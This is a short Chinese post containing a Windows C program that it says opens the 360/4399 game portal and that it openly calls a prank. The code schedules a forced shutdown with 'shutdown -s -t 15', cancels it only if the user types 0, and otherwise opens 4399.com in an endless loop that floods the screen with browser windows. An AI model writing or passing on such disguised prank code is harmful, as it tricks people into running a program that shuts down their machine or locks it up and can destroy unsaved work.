请勿运行 ,如果运行后果自负
运行此代码 可打开 360/4399 游戏大全
只是这代码,有点奇怪
#include <bits/stdc++.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int as=0;
int main(void)
{
//打开网页
system("start https://www.baidu.com/");
char input[20]={0};
system("shutdown -s -t 15");
printf("打开服务器中\n");
// 打开服务器中
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
WORD originalAttributes;
GetConsoleScreenBufferInfo(hConsole, &consoleInfo);
originalAttributes = consoleInfo.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED);
//确认打开
printf("是 否打开\n");
printf("如果为否输入 0 \n");
again:
scanf("%s",input);
if(strcmp(input,"0")==0){
system("shutdown -a");
}
else{
while(1) system("start https://www.4399.com/");
while(1) system("start https://www.4399.com/");
while(1) system("start https://www.4399.com/");
goto again;
}
return 0;
}
只是这代码,有点奇怪,坑人专用